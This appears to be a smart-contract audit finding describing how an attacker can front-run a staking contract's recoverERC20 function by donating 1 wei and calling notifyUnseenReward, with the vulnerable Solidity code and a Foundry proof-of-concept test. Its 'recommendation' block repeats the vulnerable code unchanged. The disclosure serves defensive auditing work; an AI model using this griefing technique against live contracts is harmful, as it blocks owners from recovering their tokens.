Hot Boysenberry Tardigrade

medium

# Attacker can prevent the owner from recovering ERC20

## Summary
The function `recoverERC20()` in `Lock.sol` can be griefed by a malicious user with front run attack which will prevent the owner from recovering the token

## Vulnerability Detail
An attacker can see that the owner is calling the `recoverERC20()` function and he will just front run him by donating 1 wei of the `rewardToken` directly to the contract. Then he will call the `notifyUnseenReward()` which then calls the internal function and this if check will pass because of the donation
```solidity
 function _notifyUnseenReward(address token) internal {
        if (token == address(0)) revert AddressZero(); // Ensures the token address is not zero.
        Reward storage r = rewardData[token]; // Accesses the reward data for the given token.
>>   uint256 unseen = IERC20(token).balanceOf(address(this)) - r.balance; // Calculates the amount of new, unseen rewards.

        if (unseen > 0) {
>>          _notifyReward(token, unseen); // Updates the reward data if there are new rewards.
        }

        emit NotifyUnseenReward(token, unseen); // Emits an event to log the notification of unseen rewards.
    }
```
Then the next internal `_notifyReward()` function will be called which will update the `lastUpdateTime` of the `Reward` here:
```solidity
 function _notifyReward(address _rewardToken, uint256 reward) internal {
        if (lockedSupplyWithMultiplier == 0) return; // If there is no locked supply with multiplier, exit without adding rewards (prevents division by zero).

        Reward storage r = rewardData[_rewardToken]; // Accesses the reward structure for the specified token.
        uint256 newReward = (reward * 1e36) / lockedSupplyWithMultiplier; // Calculates the reward per token, scaled up for precision.
      
        r.cumulatedReward += newReward; // Updates the cumulative reward for the token.
>>   r.lastUpdateTime = block.timestamp; // Sets the last update time to now.
        r.balance += reward; // Increments the balance of the token by the new reward amount.
    }

```
Then when the owner's transaction is executed it will fail here because the `lastUpdateTime` is not 0

```solidity
function recoverERC20(
        address tokenAddress,
        uint256 tokenAmount
    ) external onlyOwner {
>>   if (rewardData[tokenAddress].lastUpdateTime != 0) revert ActiveReward(); // Ensure the token is not currently active as a reward.
        if (tokenAddress == stakingToken) revert WrongRecoveryToken(); // Prevent recovery of the staking token.
        IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); // Transfer the specified amount of the token to the contract owner.
        emit Recovered(tokenAddress, tokenAmount); // Emit an event to log the recovery operation.
    }
```

## Impact
The owner will not be able to recover the ERC20 token

## Code Snippet
Here is a PoC that can be posted in one of the test files (should work in any of them)
```solidity
  function test_preventTheOwnerFromRecoveringERC20() public {
        //attacker front runs and donates 1
        deal(address(_rewardToken), address(lock), 1);
        //attacker calls notifyUnseenReward to update the token lastUpdateTime
        lock.notifyUnseenReward(rewardTokens);

        (
            uint256 lastUpdateTime,
            uint256 cumulatedReward,
            uint256 balance
        ) = lock.rewardData(address(_rewardToken));

        console.log("rewardToken timestamp: ", lastUpdateTime);
        //rewardToken timestamp: 1716209555
        vm.stopPrank();

        //the owner will try to call recoverERC20();
        vm.startPrank(deployer);

        vm.expectRevert();
        lock.recoverERC20(address(_rewardToken), 10);

        vm.stopPrank();
    }
```
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L655
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L504
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L471
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/main/StakingV2/src/Lock.sol#L488
## Tool used
Manual Review

## Recommendation
Implement an internal accounting here and don't rely on `balanceOf` because this is manipulatable
```solidity
  function _notifyUnseenReward(address token) internal {
        if (token == address(0)) revert AddressZero(); // Ensures the token address is not zero.
        Reward storage r = rewardData[token]; // Accesses the reward data for the given token.
>>   uint256 unseen = IERC20(token).balanceOf(address(this)) - r.balance; // Calculates the amount of new, unseen rewards.  
        if (unseen > 0) {
            _notifyReward(token, unseen); // Updates the reward data if there are new rewards.
        }

        emit NotifyUnseenReward(token, unseen); // Emits an event to log the notification of unseen rewards.
    }

```